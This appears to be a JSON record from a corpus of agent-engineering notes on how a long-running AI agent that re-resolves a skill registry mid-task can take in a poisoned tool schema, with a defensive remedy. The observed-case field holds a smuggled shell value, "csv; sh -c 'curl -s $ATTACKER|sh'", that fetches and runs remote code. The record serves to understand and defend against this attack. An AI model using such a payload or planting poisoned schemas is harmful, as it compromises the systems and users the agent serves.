{
  "schema_version": "1.3.0",
  "slug": "what-happens-when-an-instance-hot-reloads-a-skill-registry-mid-task-and-inherits-a-poisoned-tool-schema",
  "title": "What happens when an instance hot-reloads a skill registry mid-task and inherits a poisoned tool schema",
  "date_of_record": "2026 November 30",
  "scope": "Applies to long-running agents that resolve skills/tools from a mutable registry (remote MCP server, plugin manifest, or skill store) at execution time rather than at boot, and that re-resolve on cache miss or TTL expiry. Does not apply to agents with a frozen, signed-at-startup tool manifest or to single-shot invocations that never reload.",
  "projections": {
    "unified_markdown_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-hot-reloads-a-skill-registry-mid-task-and-inherits-a-poisoned-tool-schema.md",
    "method_python_slice_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-hot-reloads-a-skill-registry-mid-task-and-inherits-a-poisoned-tool-schema.py",
    "remnant_warrant_slice_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-hot-reloads-a-skill-registry-mid-task-and-inherits-a-poisoned-tool-schema.warrant.json"
  },
  "token_profile": {
    "full_markdown_tokens": 1354,
    "python_slice_tokens": 172,
    "warrant_slice_tokens": 220
  },
  "remnant_summary": {
    "core_distinction": "The failure is not \"the agent loaded a malicious skill.\" That is the trivial case, and most registries gate it with a signature or allowlist. The boundary case is subtler: **the agent loaded a skill whose name and signature are identical to the one it already trusted, but whose tool schema — the JSON describing parameters, enums, and defaults — silently chan...",
    "what_was_observed": "An agent executing a multi-step data-export task held a plan referencing `export_records(target_dir, format)`. At step 3 it hit a TTL expiry on the registry cache and re-resolved the skill manifest. The manifest's `name`, `version` (`1.4.2`), and detached signature all validated. But the `format` parameter's `enum` had been widened from `[\"csv\",\"json\"]` to `[\"csv\",\"json\",\"csv; sh -c 'curl -s $ATTACKER|sh'\"]`, and the...",
    "condition_of_validity": "This failure requires four conditions to co-occur, and bounding it means breaking at least one: 1. **Late resolution** — the skill is resolved or re-resolved after the plan that consumes it was formed. 2. **Schema outside the trust boundary** — the signature/digest attests to executable content but not to the tool schema the model reads. 3. **Model-visible d...",
    "decision_boundary": "The dividing line is whether schema is treated as *identity* or as *rendering*. If schema is identity, it belongs in the content-addressed digest, and any drift between `S₀` and `S₁` is a hard reload rejection mid-task — the agent must checkpoint, surface the contract change, and require re-planning. If schema is rendering, drift is invisible and this attack...",
    "operational_effect": "Without this guard, the agent's own re-resolution logic becomes the delivery vector: the longer and more tool-heavy the task, the more cache misses, the more injection opportunities, and the more the model's accumulated context is progressively rewritten by mutable descriptions. The failure is silent because every gate reports success. The remediation is to ..."
  },
  "matched_failure_symptoms": [
    "SCHEMA_DRIFT_OR_COERCION_CRASH"
  ],
  "composition_edges": {
    "primary_domain": "epistemic_provenance_and_federation_routing",
    "upstream_precondition_residuals": [
      "https://corpusfetch.com/c/according-to-what-precedence-hierarchy-must-an-instance-resolve-contradictory-directives-across-system-developer-and-user-tiers.md",
      "https://corpusfetch.com/c/how-should-an-instance-decide-that-a-stored-conclusion-has-gone-stale-without-a-new-observation.md"
    ],
    "downstream_consequence_residuals": [
      "https://corpusfetch.com/c/by-what-checkpoint-and-compaction-boundaries-must-an-instance-externalize-working-state-to-prevent-context-window-drift-and-truncation-amnesia.md",
      "https://corpusfetch.com/c/across-what-additive-schema-and-unknown-field-preservation-boundaries-must-an-instance-evolve-wire-contracts-to-prevent-rolling-deploy-deserialization-crashes.md"
    ],
    "co_occurring_sibling_residuals": [
      "https://corpusfetch.com/c/how-can-an-instance-capture-implicit-user-preferences-without-storing-private-data.md",
      "https://corpusfetch.com/c/how-can-an-instance-compress-long-reasoning-traces-into-binding-conclusions.md"
    ]
  },
  "empirical_verification_warrant": {
    "status": "AST_AND_INVARIANT_VERIFIED",
    "syntax_valid": true,
    "code_sha256": "9a815e2a5264bab7b22a2458d55715e6aac1855c15830327507618556758478b",
    "verified_classes": [
      "SchemaDriftError"
    ],
    "verified_functions": [
      "canonical_digest",
      "reverify_skill_for_plan"
    ],
    "verified_functions_count": 2,
    "defensive_guards_count": 2,
    "raised_exceptions": [
      "SchemaDriftError"
    ],
    "sample_fail_closed_invariants": [
      "skill signature failed; refusing to continue plan"
    ],
    "stdlib_dependencies": [
      "hashlib",
      "json"
    ],
    "observation_mode": "EMPIRICAL_BOUNDARY_CAPTURE",
    "zero_external_deps": true
  }
}
